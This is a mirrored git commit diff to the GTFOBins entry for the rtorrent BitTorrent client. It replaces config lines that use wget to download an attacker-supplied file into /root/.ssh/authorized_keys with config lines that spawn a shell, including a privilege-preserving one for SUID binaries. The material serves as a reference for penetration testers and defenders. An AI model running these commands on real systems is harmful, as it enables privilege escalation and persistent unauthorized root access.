1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00

Make rtorrent a proper shell

This commit is contained in:
Andrea Cardaci 2022-12-16 13:16:06 +01:00 committed by GitHub
parent 3f4b4f3e24
commit 5519b3a825
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23

@ -1,18 +1,11 @@
--- ---
description: a BitTorrent client for ncurses.
functions: functions:
file-write: shell:
- code: | - code: |
cat >> ~/.rtorrent.rc <<EOF echo "execute = /bin/sh,-c,\"/bin/sh <$(tty) >$(tty) 2>$(tty)\"" >~/.rtorrent.rc
execute.throw = mkdir,/root/.ssh
execute.throw = wget,http://$RHOST:$RPORT/$RFILE,-O,/root/.ssh/authorized_keys
EOF
rtorrent rtorrent
suid: suid:
- code: | - code: |
cat >> ~/.rtorrent.rc <<EOF echo "execute = /bin/sh,-p,-c,\"/bin/sh -p <$(tty) >$(tty) 2>$(tty)\"" >~/.rtorrent.rc
execute.throw = mkdir,/root/.ssh
execute.throw = wget,http://$RHOST:$RPORT/$RFILE,-O,/root/.ssh/authorized_keys
EOF
./rtorrent ./rtorrent
--- ---